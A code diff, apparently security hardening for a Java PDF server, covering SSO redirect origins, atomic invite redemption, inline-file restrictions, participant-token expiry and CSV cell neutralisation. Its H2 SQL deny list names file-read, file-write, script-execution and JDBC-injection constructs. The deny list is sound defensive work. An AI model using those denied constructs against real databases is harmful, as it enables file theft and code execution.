String serverName = request.getServerName();
|
||||
int serverPort = request.getServerPort();
|
||||
|
||||
StringBuilder origin = new StringBuilder();
|
||||
origin.append(scheme).append("://").append(serverName);
|
||||
|
||||
if ((!"http".equalsIgnoreCase(scheme) || serverPort != 80)
|
||||
&& (!"https".equalsIgnoreCase(scheme) || serverPort != 443)) {
|
||||
origin.append(":").append(serverPort);
|
||||
}
|
||||
|
||||
return origin.toString();
|
||||
}
|
||||
|
||||
private boolean isDefaultPort(String scheme, String port) {
|
||||
if (port == null) {
|
||||
return true;
|
||||
}
|
||||
try {
|
||||
int parsedPort = Integer.parseInt(port);
|
||||
return ("http".equalsIgnoreCase(scheme) && parsedPort == 80)
|
||||
|| ("https".equalsIgnoreCase(scheme) && parsedPort == 443);
|
||||
} catch (NumberFormatException e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private void clearRedirectCookie(HttpServletResponse response) {
|
||||
ResponseCookie cookie =
|
||||
ResponseCookie.from(TauriOAuthUtils.SPA_REDIRECT_COOKIE, "")
|
||||
@@ -340,20 +251,4 @@ public class CustomOAuth2AuthenticationSuccessHandler
|
||||
.build();
|
||||
response.addHeader(HttpHeaders.SET_COOKIE, cookie.toString());
|
||||
}
|
||||
|
||||
/**
|
||||
* Checks if the given hostname belongs to a known OAuth provider.
|
||||
*
|
||||
* @param hostname The hostname to check
|
||||
* @return true if it's an OAuth provider domain, false otherwise
|
||||
*/
|
||||
private boolean isOAuthProviderDomain(String hostname) {
|
||||
return hostname.contains("google.com")
|
||||
|| hostname.contains("googleapis.com")
|
||||
|| hostname.contains("github.com")
|
||||
|| hostname.contains("microsoft.com")
|
||||
|| hostname.contains("microsoftonline.com")
|
||||
|| hostname.contains("linkedin.com")
|
||||
|| hostname.contains("apple.com");
|
||||
}
|
||||
}
|
||||
|
||||
+7
@@ -29,4 +29,11 @@ public interface InviteTokenRepository extends JpaRepository<InviteToken, Long>
|
||||
|
||||
@Query("SELECT COUNT(it) FROM InviteToken it WHERE it.used = false AND it.expiresAt > :now")
|
||||
long countActiveInvites(@Param("now") LocalDateTime now);
|
||||
|
||||
// Atomic claim so concurrent redemptions of one invite cannot both win (GHSA-rmrr-v9p4-qqvc).
|
||||
@Modifying(clearAutomatically = true)
|
||||
@Query(
|
||||
"UPDATE InviteToken it SET it.used = true, it.usedAt = :now WHERE it.token = :token AND"
|
||||
+ " it.used = false AND it.expiresAt > :now")
|
||||
int consumeIfUnused(@Param("token") String token, @Param("now") LocalDateTime now);
|
||||
}
|
||||
|
||||
+3
-96
@@ -3,7 +3,6 @@ package stirling.software.proprietary.security.saml2;
|
||||
import static stirling.software.proprietary.security.model.AuthenticationType.SAML2;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.net.URI;
|
||||
import java.net.URLDecoder;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.sql.SQLException;
|
||||
@@ -38,6 +37,7 @@ import stirling.software.proprietary.security.service.JwtServiceInterface;
|
||||
import stirling.software.proprietary.security.service.LoginAttemptService;
|
||||
import stirling.software.proprietary.security.service.UserService;
|
||||
import stirling.software.proprietary.security.util.DesktopClientUtils;
|
||||
import stirling.software.proprietary.security.util.SsoRedirectOriginResolver;
|
||||
|
||||
@AllArgsConstructor
|
||||
@Slf4j
|
||||
@@ -264,23 +264,9 @@ public class CustomSaml2AuthenticationSuccessHandler
|
||||
return url;
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolve the origin (frontend URL) for redirects. First checks system.frontendUrl from config,
|
||||
* then falls back to detecting from request headers.
|
||||
*/
|
||||
/** Resolve the origin (frontend URL) for redirects. */
|
||||
private String resolveOrigin(HttpServletRequest request) {
|
||||
// First check if frontendUrl is configured
|
||||
String configuredFrontendUrl = applicationProperties.getSystem().getFrontendUrl();
|
||||
if (configuredFrontendUrl != null && !configuredFrontendUrl.trim().isEmpty()) {
|
||||
return configuredFrontendUrl.trim();
|
||||
}
|
||||
|
||||
// Fall back to auto-detection from request headers
|
||||
return resolveForwardedOrigin(request)
|
||||
.orElseGet(
|
||||
() ->
|
||||
resolveOriginFromReferer(request)
|
||||
.orElseGet(() -> buildOriginFromRequest(request)));
|
||||
return SsoRedirectOriginResolver.resolveOrigin(request, applicationProperties);
|
||||
}
|
||||
|
||||
private String resolveRedirectPath(HttpServletRequest request, String contextPath) {
|
||||
@@ -318,85 +304,6 @@ public class CustomSaml2AuthenticationSuccessHandler
|
||||
return contextPath + DEFAULT_CALLBACK_PATH;
|
||||
}
|
||||
|
||||
private Optional<String> resolveForwardedOrigin(HttpServletRequest request) {
|
||||
String forwardedHostHeader = request.getHeader("X-Forwarded-Host");
|
||||
if (forwardedHostHeader == null || forwardedHostHeader.isBlank()) {
|
||||
return Optional.empty();
|
||||
}
|
||||
String host = forwardedHostHeader.split(",")[0].trim();
|
||||
if (host.isEmpty()) {
|
||||
return Optional.empty();
|
||||
}
|
||||
|
||||
String forwardedProtoHeader = request.getHeader("X-Forwarded-Proto");
|
||||
String proto =
|
||||
(forwardedProtoHeader == null || forwardedProtoHeader.isBlank())
|
||||
? request.getScheme()
|
||||
: forwardedProtoHeader.split(",")[0].trim();
|
||||
|
||||
if (!host.contains(":")) {
|
||||
String forwardedPort = request.getHeader("X-Forwarded-Port");
|
||||
if (forwardedPort != null
|
||||
&& !forwardedPort.isBlank()
|
||||
&& !isDefaultPort(proto, forwardedPort.trim())) {
|
||||
host = host + ":" + forwardedPort.trim();
|
||||
}
|
||||
}
|
||||
return Optional.of(proto + "://" + host);
|
||||
}
|
||||
|
||||
private Optional<String> resolveOriginFromReferer(HttpServletRequest request) {
|
||||
String referer = request.getHeader("Referer");
|
||||
if (referer != null && !referer.isEmpty()) {
|
||||
try {
|
||||
URI refererUri = URI.create(referer);
|
||||
String host = refererUri.getHost();
|
||||
if (host == null) {
|
||||
return Optional.empty();
|
||||
}
|
||||
String origin = refererUri.getScheme() + "://" + host;
|
||||
int port = refererUri.getPort();
|
||||
if (port != -1 && port != 80 && port != 443) {
|
||||
origin += ":" + port;
|
||||
}
|
||||
return Optional.of(origin);
|
||||
} catch (IllegalArgumentException e) {
|
||||
log.debug(
|
||||
"Malformed referer URL: {}, falling back to request-based origin", referer);
|
||||
}
|
||||
}
|
||||
return Optional.empty();
|
||||
}
|
||||
|
||||
private String buildOriginFromRequest(HttpServletRequest request) {
|
||||
String scheme = request.getScheme();
|
||||
String serverName = request.getServerName();
|
||||
int serverPort = request.getServerPort();
|
||||
|
||||
StringBuilder origin = new StringBuilder();
|
||||
origin.append(scheme).append("://").append(serverName);
|
||||
|
||||
if ((!"http".equalsIgnoreCase(scheme) || serverPort != 80)
|
||||
&& (!"https".equalsIgnoreCase(scheme) || serverPort != 443)) {
|
||||
origin.append(":").append(serverPort);
|
||||
}
|
||||
|
||||
return origin.toString();
|
||||
}
|
||||
|
||||
private boolean isDefaultPort(String scheme, String port) {
|
||||
if (port == null) {
|
||||
return true;
|
||||
}
|
||||
try {
|
||||
int parsedPort = Integer.parseInt(port);
|
||||
return ("http".equalsIgnoreCase(scheme) && parsedPort == 80)
|
||||
|| ("https".equalsIgnoreCase(scheme) && parsedPort == 443);
|
||||
} catch (NumberFormatException e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private void clearRedirectCookie(HttpServletResponse response) {
|
||||
ResponseCookie cookie =
|
||||
ResponseCookie.from(SPA_REDIRECT_COOKIE, "")
|
||||
|
||||
+42
-15
@@ -21,6 +21,7 @@ import java.util.ArrayList;
|
||||
import java.util.Comparator;
|
||||
import java.util.List;
|
||||
import java.util.UUID;
|
||||
import java.util.regex.Matcher;
|
||||
import java.util.regex.Pattern;
|
||||
|
||||
import javax.sql.DataSource;
|
||||
@@ -93,12 +94,16 @@ public class DatabaseService implements DatabaseServiceInterface {
|
||||
Pattern.compile("(?i)\\bFALSE\\b"),
|
||||
Pattern.compile("(?i)\\bNULL\\b"));
|
||||
|
||||
// H2 grammar allows CREATE [FORCE] [[GLOBAL|LOCAL] TEMPORARY] before the object type
|
||||
private static final String CREATE_MODIFIERS =
|
||||
"(?i)\\bCREATE\\s+(FORCE\\s+)?((GLOBAL|LOCAL)\\s+)?(TEMPORARY\\s+)?";
|
||||
|
||||
private static final java.util.List<Pattern> DENIED_PATTERNS =
|
||||
java.util.List.of(
|
||||
Pattern.compile("(?i)\\bCREATE\\s+(FORCE\\s+)?ALIAS\\b"),
|
||||
Pattern.compile("(?i)\\bCREATE\\s+(FORCE\\s+)?TRIGGER\\b"),
|
||||
Pattern.compile("(?i)\\bCREATE\\s+(FORCE\\s+)?AGGREGATE\\b"),
|
||||
Pattern.compile("(?i)\\bCREATE\\s+LINKED\\s+TABLE\\b"),
|
||||
Pattern.compile(CREATE_MODIFIERS + "ALIAS\\b"),
|
||||
Pattern.compile(CREATE_MODIFIERS + "TRIGGER\\b"),
|
||||
Pattern.compile(CREATE_MODIFIERS + "AGGREGATE\\b"),
|
||||
Pattern.compile(CREATE_MODIFIERS + "LINKED\\s+TABLE\\b"),
|
||||
Pattern.compile("(?i)\\bFILE_WRITE\\s*\\("),
|
||||
Pattern.compile("(?i)\\bFILE_READ\\s*\\("),
|
||||
Pattern.compile("(?i)\\bCSVWRITE\\s*\\("),
|
||||
@@ -107,6 +112,11 @@ public class DatabaseService implements DatabaseServiceInterface {
|
||||
Pattern.compile("(?i)\\bRUNSCRIPT\\b"),
|
||||
Pattern.compile("(?i)\\bSCRIPT\\s+TO\\b"));
|
||||
|
||||
private static final Pattern STRING_LITERAL_PATTERN = Pattern.compile("'((?:[^']|'')*)'");
|
||||
// A genuine SCRIPT backup never embeds a JDBC URL or a nested script reference in a literal
|
||||
private static final Pattern DANGEROUS_LITERAL_PATTERN =
|
||||
Pattern.compile("(?i)(INIT\\s*=|\\bRUNSCRIPT\\b|\\bjdbc:)");
|
||||
|
||||
private final ApplicationProperties.Datasource datasourceProps;
|
||||
private final DataSource dataSource;
|
||||
private final DatabaseNotificationServiceInterface backupNotificationService;
|
||||
@@ -525,16 +535,10 @@ public class DatabaseService implements DatabaseServiceInterface {
|
||||
String content = Files.readString(scriptPath);
|
||||
String normalizedContent = sanitizeSql(content);
|
||||
|
||||
String codeOnly = stripStringLiterals(normalizedContent);
|
||||
for (Pattern deniedPattern : DENIED_PATTERNS) {
|
||||
if (deniedPattern.matcher(codeOnly).find()) {
|
||||
log.error(
|
||||
"Blocked disallowed SQL in backup file matching: {}",
|
||||
deniedPattern.pattern());
|
||||
throw new IllegalArgumentException(
|
||||
"SQL script contains disallowed operations and was rejected.");
|
||||
}
|
||||
}
|
||||
// Literals get their own narrow check; the denylist runs on code only so that
|
||||
// ordinary row data merely mentioning a keyword is not rejected.
|
||||
checkStringLiterals(normalizedContent);
|
||||
checkDeniedPatterns(stripStringLiterals(normalizedContent));
|
||||
|
||||
// Validate that content only contains allowed operations (whitelist approach)
|
||||
// Split by semicolons to check individual statements
|
||||
@@ -570,6 +574,29 @@ public class DatabaseService implements DatabaseServiceInterface {
|
||||
}
|
||||
}
|
||||
|
||||
private void checkDeniedPatterns(String sql) {
|
||||
for (Pattern deniedPattern : DENIED_PATTERNS) {
|
||||
if (deniedPattern.matcher(sql).find()) {
|
||||
log.error(
|
||||
"Blocked disallowed SQL in backup file matching: {}",
|
||||
deniedPattern.pattern());
|
||||
throw new IllegalArgumentException(
|
||||
"SQL script contains disallowed operations and was rejected.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void checkStringLiterals(String sql) {
|
||||
Matcher literals = STRING_LITERAL_PATTERN.matcher(sql);
|
||||
while (literals.find()) {
|
||||
if (DANGEROUS_LITERAL_PATTERN.matcher(literals.group(1)).find()) {
|
||||
log.error("Blocked SQL string literal containing a nested JDBC or script payload");
|
||||
throw new IllegalArgumentException(
|
||||
"SQL script contains disallowed operations and was rejected.");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Sanitize SQL content by removing comments to prevent bypass attacks.
|
||||
*
|
||||
@@ -589,7 +616,7 @@ public class DatabaseService implements DatabaseServiceInterface {
|
||||
}
|
||||
|
||||
private String stripStringLiterals(String sql) {
|
||||
return sql.replaceAll("'(?:[^']|'')*'", "''");
|
||||
return STRING_LITERAL_PATTERN.matcher(sql).replaceAll("''");
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
+177
@@ -0,0 +1,177 @@
|
||||
package stirling.software.proprietary.security.util;
|
||||
|
||||
import java.net.URI;
|
||||
import java.util.Optional;
|
||||
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
|
||||
import stirling.software.common.model.ApplicationProperties;
|
||||
|
||||
/**
|
||||
* Resolves the origin used for post-login SSO redirects (OAuth2 and SAML2).
|
||||
*
|
||||
* <p>Precedence:
|
||||
*
|
||||
* <ol>
|
||||
* <li>system.frontendUrl when configured, in which case no request header is consulted
|
||||
* <li>an X-Forwarded-* or Referer derived origin, but only when its host matches the host of the
|
||||
* request itself
|
||||
* <li>the request itself
|
||||
* </ol>
|
||||
*/
|
||||
@Slf4j
|
||||
public class SsoRedirectOriginResolver {
|
||||
|
||||
private SsoRedirectOriginResolver() {
|
||||
// Utility class - prevent instantiation
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolve the origin (scheme://host[:port]) to redirect to after a successful SSO login.
|
||||
*
|
||||
* @param request the HTTP request
|
||||
* @param applicationProperties the application properties
|
||||
* @return the resolved origin, never null
|
||||
*/
|
||||
public static String resolveOrigin(
|
||||
HttpServletRequest request, ApplicationProperties applicationProperties) {
|
||||
String configuredFrontendUrl = configuredFrontendUrl(applicationProperties);
|
||||
if (configuredFrontendUrl != null) {
|
||||
return configuredFrontendUrl;
|
||||
}
|
||||
|
||||
String requestHost = request.getServerName();
|
||||
return resolveForwardedOrigin(request)
|
||||
.filter(candidate -> matchesRequestHost(candidate, requestHost, "X-Forwarded-Host"))
|
||||
.or(
|
||||
() ->
|
||||
resolveOriginFromReferer(request)
|
||||
.filter(
|
||||
candidate ->
|
||||
matchesRequestHost(
|
||||
candidate, requestHost, "Referer")))
|
||||
.map(Candidate::origin)
|
||||
.orElseGet(() -> buildOriginFromRequest(request));
|
||||
}
|
||||
|
||||
private static String configuredFrontendUrl(ApplicationProperties applicationProperties) {
|
||||
if (applicationProperties == null || applicationProperties.getSystem() == null) {
|
||||
return null;
|
||||
}
|
||||
String frontendUrl = applicationProperties.getSystem().getFrontendUrl();
|
||||
if (frontendUrl == null || frontendUrl.trim().isEmpty()) {
|
||||
return null;
|
||||
}
|
||||
String normalized = frontendUrl.trim();
|
||||
// a trailing slash would double up against the callback path
|
||||
return normalized.endsWith("/")
|
||||
? normalized.substring(0, normalized.length() - 1)
|
||||
: normalized;
|
||||
}
|
||||
|
||||
private static boolean matchesRequestHost(
|
||||
Candidate candidate, String requestHost, String source) {
|
||||
if (requestHost != null && requestHost.equalsIgnoreCase(candidate.host())) {
|
||||
return true;
|
||||
}
|
||||
log.warn(
|
||||
"Ignoring {}-derived SSO redirect origin '{}' because its host does not match the request host '{}'. Set system.frontendUrl to the external URL of this instance if it is behind a reverse proxy.",
|
||||
source,
|
||||
candidate.origin(),
|
||||
requestHost);
|
||||
return false;
|
||||
}
|
||||
|
||||
private static Optional<Candidate> resolveForwardedOrigin(HttpServletRequest request) {
|
||||
String forwardedHostHeader = request.getHeader("X-Forwarded-Host");
|
||||
if (forwardedHostHeader == null || forwardedHostHeader.isBlank()) {
|
||||
return Optional.empty();
|
||||
}
|
||||
String host = forwardedHostHeader.split(",")[0].trim();
|
||||
if (host.isEmpty()) {
|
||||
return Optional.empty();
|
||||
}
|
||||
|
||||
String forwardedProtoHeader = request.getHeader("X-Forwarded-Proto");
|
||||
String proto =
|
||||
(forwardedProtoHeader == null || forwardedProtoHeader.isBlank())
|
||||
? request.getScheme()
|
||||
: forwardedProtoHeader.split(",")[0].trim();
|
||||
|
||||
String hostWithoutPort = stripPort(host);
|
||||
if (!host.contains(":")) {
|
||||
String forwardedPort = request.getHeader("X-Forwarded-Port");
|
||||
if (forwardedPort != null
|
||||
&& !forwardedPort.isBlank()
|
||||
&& !isDefaultPort(proto, forwardedPort.trim())) {
|
||||
host = host + ":" + forwardedPort.trim();
|
||||
}
|
||||
}
|
||||
return Optional.of(new Candidate(proto + "://" + host, hostWithoutPort));
|
||||
}
|
||||
|
||||
private static Optional<Candidate> resolveOriginFromReferer(HttpServletRequest request) {
|
||||
String referer = request.getHeader("Referer");
|
||||
if (referer == null || referer.isEmpty()) {
|
||||
return Optional.empty();
|
||||
}
|
||||
try {
|
||||
URI refererUri = URI.create(referer);
|
||||
String host = refererUri.getHost();
|
||||
if (host == null) {
|
||||
return Optional.empty();
|
||||
}
|
||||
String origin = refererUri.getScheme() + "://" + host;
|
||||
int port = refererUri.getPort();
|
||||
if (port != -1 && port != 80 && port != 443) {
|
||||
origin += ":" + port;
|
||||
}
|
||||
return Optional.of(new Candidate(origin, host));
|
||||
} catch (IllegalArgumentException e) {
|
||||
log.debug("Malformed referer URL: {}, falling back to request-based origin", referer);
|
||||
return Optional.empty();
|
||||
}
|
||||
}
|
||||
|
||||
private static String buildOriginFromRequest(HttpServletRequest request) {
|
||||
String scheme = request.getScheme();
|
||||
String serverName = request.getServerName();
|
||||
int serverPort = request.getServerPort();
|
||||
|
||||
StringBuilder origin = new StringBuilder();
|
||||
origin.append(scheme).append("://").append(serverName);
|
||||
|
||||
if ((!"http".equalsIgnoreCase(scheme) || serverPort != 80)
|
||||
&& (!"https".equalsIgnoreCase(scheme) || serverPort != 443)) {
|
||||
origin.append(":").append(serverPort);
|
||||
}
|
||||
|
||||
return origin.toString();
|
||||
}
|
||||
|
||||
private static String stripPort(String hostAndPort) {
|
||||
if (hostAndPort.startsWith("[")) {
|
||||
int bracketEnd = hostAndPort.indexOf(']');
|
||||
return bracketEnd > 0 ? hostAndPort.substring(0, bracketEnd + 1) : hostAndPort;
|
||||
}
|
||||
int colon = hostAndPort.indexOf(':');
|
||||
return colon > 0 ? hostAndPort.substring(0, colon) : hostAndPort;
|
||||
}
|
||||
|
||||
private static boolean isDefaultPort(String scheme, String port) {
|
||||
if (port == null) {
|
||||
return true;
|
||||
}
|
||||
try {
|
||||
int parsedPort = Integer.parseInt(port);
|
||||
return ("http".equalsIgnoreCase(scheme) && parsedPort == 80)
|
||||
|| ("https".equalsIgnoreCase(scheme) && parsedPort == 443);
|
||||
} catch (NumberFormatException e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private record Candidate(String origin, String host) {}
|
||||
}
|
||||
+2
-1
@@ -32,6 +32,7 @@ import lombok.extern.slf4j.Slf4j;
|
||||
import stirling.software.SPDF.pdf.parser.PageImageLocator;
|
||||
import stirling.software.SPDF.pdf.parser.PdfModels.TableFragment;
|
||||
import stirling.software.SPDF.pdf.parser.TabulaTableParser;
|
||||
import stirling.software.common.util.CsvUtils;
|
||||
import stirling.software.common.util.ExceptionUtils;
|
||||
import stirling.software.common.util.PdfUtils;
|
||||
import stirling.software.common.util.RegexPatternUtils;
|
||||
@@ -119,7 +120,7 @@ public class PdfContentExtractor {
|
||||
StringWriter sw = new StringWriter();
|
||||
try (CSVPrinter printer = format.print(sw)) {
|
||||
for (List<String> row : fragment.rawRows()) {
|
||||
printer.printRecord(row);
|
||||
printer.printRecord(CsvUtils.neutraliseRow(row));
|
||||
}
|
||||
}
|
||||
csvStrings.add(sw.toString());
|
||||
|
||||
+21
-1
@@ -7,6 +7,7 @@ import java.util.List;
|
||||
import java.util.Locale;
|
||||
import java.util.Map;
|
||||
import java.util.Optional;
|
||||
import java.util.Set;
|
||||
|
||||
import org.springframework.http.ContentDisposition;
|
||||
import org.springframework.http.HttpHeaders;
|
||||
@@ -57,6 +58,17 @@ public class FileStorageController {
|
||||
|
||||
private static final Duration SIGNED_URL_TTL = Duration.ofMinutes(5);
|
||||
|
||||
// Uploader-controlled content renders on our origin, so only these may be served inline.
|
||||
private static final Set<String> INLINE_SAFE_TYPES =
|
||||
Set.of(
|
||||
"application/pdf",
|
||||
"image/png",
|
||||
"image/jpeg",
|
||||
"image/gif",
|
||||
"image/webp",
|
||||
"image/bmp",
|
||||
"text/plain");
|
||||
|
||||
private final FileStorageService fileStorageService;
|
||||
private final StorageProvider storageProvider;
|
||||
private final AuditService auditService;
|
||||
@@ -286,7 +298,8 @@ public class FileStorageController {
|
||||
? MediaType.APPLICATION_OCTET_STREAM_VALUE
|
||||
: file.getContentType();
|
||||
ContentDisposition disposition =
|
||||
ContentDisposition.builder(inline ? "inline" : "attachment")
|
||||
ContentDisposition.builder(
|
||||
inline && isInlineSafe(contentType) ? "inline" : "attachment")
|
||||
.filename(file.getOriginalFilename())
|
||||
.build();
|
||||
HttpHeaders headers = new HttpHeaders();
|
||||
@@ -300,6 +313,13 @@ public class FileStorageController {
|
||||
return ResponseEntity.ok().headers(headers).body(resource);
|
||||
}
|
||||
|
||||
// Match on the bare type so a "; charset=..." suffix cannot smuggle text/html past the list.
|
||||
private static boolean isInlineSafe(String contentType) {
|
||||
int separator = contentType.indexOf(';');
|
||||
String bareType = separator < 0 ? contentType : contentType.substring(0, separator);
|
||||
return INLINE_SAFE_TYPES.contains(bareType.trim().toLowerCase(Locale.ROOT));
|
||||
}
|
||||
|
||||
private boolean isAuthenticated(Authentication authentication) {
|
||||
return authentication != null
|
||||
&& authentication.isAuthenticated()
|
||||
|
||||
+27
-53
@@ -79,19 +79,7 @@ public class WorkflowParticipantController {
|
||||
|
||||
workflowSessionService.ensureSigningEnabled();
|
||||
|
||||
WorkflowParticipant participant =
|
||||
participantRepository
|
||||
.findByShareToken(token)
|
||||
.orElseThrow(
|
||||
() ->
|
||||
new ResponseStatusException(
|
||||
HttpStatus.FORBIDDEN,
|
||||
"Invalid or expired participant token"));
|
||||
|
||||
// Check if participant is expired
|
||||
if (participant.isExpired()) {
|
||||
throw new ResponseStatusException(HttpStatus.FORBIDDEN, "Participant access expired");
|
||||
}
|
||||
WorkflowParticipant participant = requireLiveParticipant(token);
|
||||
|
||||
// Mark as viewed if not already
|
||||
if (participant.getStatus() == ParticipantStatus.PENDING
|
||||
@@ -115,14 +103,7 @@ public class WorkflowParticipantController {
|
||||
|
||||
workflowSessionService.ensureSigningEnabled();
|
||||
|
||||
WorkflowParticipant participant =
|
||||
participantRepository
|
||||
.findByShareToken(token)
|
||||
.orElseThrow(
|
||||
() ->
|
||||
new ResponseStatusException(
|
||||
HttpStatus.FORBIDDEN,
|
||||
"Invalid or expired participant token"));
|
||||
WorkflowParticipant participant = requireLiveParticipant(token);
|
||||
|
||||
return ResponseEntity.ok(WorkflowMapper.toParticipantResponse(participant, false));
|
||||
}
|
||||
@@ -145,20 +126,9 @@ public class WorkflowParticipantController {
|
||||
HttpStatus.BAD_REQUEST, "Participant token is required");
|
||||
}
|
||||
|
||||
WorkflowParticipant participant =
|
||||
participantRepository
|
||||
.findByShareToken(request.getParticipantToken())
|
||||
.orElseThrow(
|
||||
() ->
|
||||
new ResponseStatusException(
|
||||
HttpStatus.FORBIDDEN,
|
||||
"Invalid or expired participant token"));
|
||||
WorkflowParticipant participant = requireLiveParticipant(request.getParticipantToken());
|
||||
|
||||
// Check if participant can still submit
|
||||
if (participant.isExpired()) {
|
||||
throw new ResponseStatusException(HttpStatus.FORBIDDEN, "Participant access expired");
|
||||
}
|
||||
|
||||
if (participant.hasCompleted()) {
|
||||
throw new ResponseStatusException(
|
||||
HttpStatus.BAD_REQUEST, "Participant has already completed their action");
|
||||
@@ -204,14 +174,7 @@ public class WorkflowParticipantController {
|
||||
|
||||
workflowSessionService.ensureSigningEnabled();
|
||||
|
||||
WorkflowParticipant participant =
|
||||
participantRepository
|
||||
.findByShareToken(token)
|
||||
.orElseThrow(
|
||||
() ->
|
||||
new ResponseStatusException(
|
||||
HttpStatus.FORBIDDEN,
|
||||
"Invalid or expired participant token"));
|
||||
WorkflowParticipant participant = requireLiveParticipant(token);
|
||||
|
||||
if (participant.hasCompleted()) {
|
||||
throw new ResponseStatusException(
|
||||
@@ -248,18 +211,7 @@ public class WorkflowParticipantController {
|
||||
|
||||
workflowSessionService.ensureSigningEnabled();
|
||||
|
||||
WorkflowParticipant participant =
|
||||
participantRepository
|
||||
.findByShareToken(token)
|
||||
.orElseThrow(
|
||||
() ->
|
||||
new ResponseStatusException(
|
||||
HttpStatus.FORBIDDEN,
|
||||
"Invalid or expired participant token"));
|
||||
|
||||
if (participant.isExpired()) {
|
||||
throw new ResponseStatusException(HttpStatus.FORBIDDEN, "Participant access expired");
|
||||
}
|
||||
WorkflowParticipant participant = requireLiveParticipant(token);
|
||||
|
||||
try {
|
||||
WorkflowSession session = participant.getWorkflowSession();
|
||||
@@ -370,6 +322,28 @@ public class WorkflowParticipantController {
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolves a share token to its participant, rejecting unknown and expired tokens. Every
|
||||
* participant-facing endpoint must go through this so the expiry check cannot be forgotten
|
||||
* (GHSA-cjr3-pj58-h8jj).
|
||||
*/
|
||||
private WorkflowParticipant requireLiveParticipant(String token) {
|
||||
WorkflowParticipant participant =
|
||||
participantRepository
|
||||
.findByShareToken(token)
|
||||
.orElseThrow(
|
||||
() ->
|
||||
new ResponseStatusException(
|
||||
HttpStatus.FORBIDDEN,
|
||||
"Invalid or expired participant token"));
|
||||
|
||||
if (participant.isExpired()) {
|
||||
throw new ResponseStatusException(HttpStatus.FORBIDDEN, "Participant access expired");
|
||||
}
|
||||
|
||||
return participant;
|
||||
}
|
||||
|
||||
/**
|
||||
* Builds metadata map from signature submission request. Includes certificate submission and
|
||||
* wet signature data.
|
||||
|
||||
+29
-1
@@ -1,6 +1,7 @@
|
||||
package stirling.software.proprietary.security.controller.api;
|
||||
|
||||
import static org.mockito.ArgumentMatchers.any;
|
||||
import static org.mockito.ArgumentMatchers.eq;
|
||||
import static org.mockito.Mockito.never;
|
||||
import static org.mockito.Mockito.verify;
|
||||
import static org.mockito.Mockito.when;
|
||||
@@ -267,12 +268,37 @@ class InviteLinkControllerMoreTest {
|
||||
@DisplayName("returns 404 for an expired token")
|
||||
void expiredToken() throws Exception {
|
||||
InviteToken invite = validInvite("exp");
|
||||
invite.setEmail("exp@ex.com");
|
||||
invite.setExpiresAt(LocalDateTime.now().minusHours(1));
|
||||
when(inviteTokenRepository.findByToken("exp")).thenReturn(Optional.of(invite));
|
||||
when(userService.usernameExistsIgnoreCase("exp@ex.com")).thenReturn(false);
|
||||
// The expiry is enforced by the atomic claim, which matches no row
|
||||
when(inviteTokenRepository.consumeIfUnused(eq("exp"), any(LocalDateTime.class)))
|
||||
.thenReturn(0);
|
||||
|
||||
mockMvc.perform(post("/api/v1/invite/accept/exp").param("password", "secret123"))
|
||||
.andExpect(status().isNotFound())
|
||||
.andExpect(jsonPath("$.error").value("Invalid invite link"));
|
||||
|
||||
verify(userService, never()).saveUserCore(any());
|
||||
}
|
||||
|
||||
@Test
|
||||
@DisplayName("returns 404 for an already-used token without creating an account")
|
||||
void usedToken() throws Exception {
|
||||
InviteToken invite = validInvite("used");
|
||||
invite.setEmail("used@ex.com");
|
||||
invite.setUsed(true);
|
||||
when(inviteTokenRepository.findByToken("used")).thenReturn(Optional.of(invite));
|
||||
when(userService.usernameExistsIgnoreCase("used@ex.com")).thenReturn(false);
|
||||
when(inviteTokenRepository.consumeIfUnused(eq("used"), any(LocalDateTime.class)))
|
||||
.thenReturn(0);
|
||||
|
||||
mockMvc.perform(post("/api/v1/invite/accept/used").param("password", "secret123"))
|
||||
.andExpect(status().isNotFound())
|
||||
.andExpect(jsonPath("$.error").value("Invalid invite link"));
|
||||
|
||||
verify(userService, never()).saveUserCore(any());
|
||||
}
|
||||
|
||||
@Test
|
||||
@@ -295,13 +321,15 @@ class InviteLinkControllerMoreTest {
|
||||
invite.setTeamId(3L);
|
||||
when(inviteTokenRepository.findByToken("preset")).thenReturn(Optional.of(invite));
|
||||
when(userService.usernameExistsIgnoreCase("preset@ex.com")).thenReturn(false);
|
||||
when(inviteTokenRepository.consumeIfUnused(eq("preset"), any(LocalDateTime.class)))
|
||||
.thenReturn(1);
|
||||
|
||||
mockMvc.perform(post("/api/v1/invite/accept/preset").param("password", "secret123"))
|
||||
.andExpect(status().isOk())
|
||||
.andExpect(jsonPath("$.username").value("preset@ex.com"));
|
||||
|
||||
verify(userService).saveUserCore(any());
|
||||
verify(inviteTokenRepository).save(invite);
|
||||
verify(inviteTokenRepository).consumeIfUnused(eq("preset"), any(LocalDateTime.class));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+24
-1
@@ -2,6 +2,7 @@ package stirling.software.proprietary.security.controller.api;
|
||||
|
||||
import static org.hamcrest.Matchers.startsWith;
|
||||
import static org.mockito.ArgumentMatchers.any;
|
||||
import static org.mockito.ArgumentMatchers.eq;
|
||||
import static org.mockito.Mockito.never;
|
||||
import static org.mockito.Mockito.verify;
|
||||
import static org.mockito.Mockito.when;
|
||||
@@ -173,6 +174,8 @@ class InviteLinkControllerTest {
|
||||
invite.setEmail(null); // email required from request
|
||||
when(inviteTokenRepository.findByToken("abc")).thenReturn(Optional.of(invite));
|
||||
when(userService.usernameExistsIgnoreCase("new@example.com")).thenReturn(false);
|
||||
when(inviteTokenRepository.consumeIfUnused(eq("abc"), any(LocalDateTime.class)))
|
||||
.thenReturn(1);
|
||||
|
||||
mockMvc.perform(
|
||||
post("/api/v1/invite/accept/abc")
|
||||
@@ -183,6 +186,26 @@ class InviteLinkControllerTest {
|
||||
.andExpect(jsonPath("$.username").value("new@example.com"));
|
||||
|
||||
verify(userService).saveUserCore(any());
|
||||
verify(inviteTokenRepository).save(invite);
|
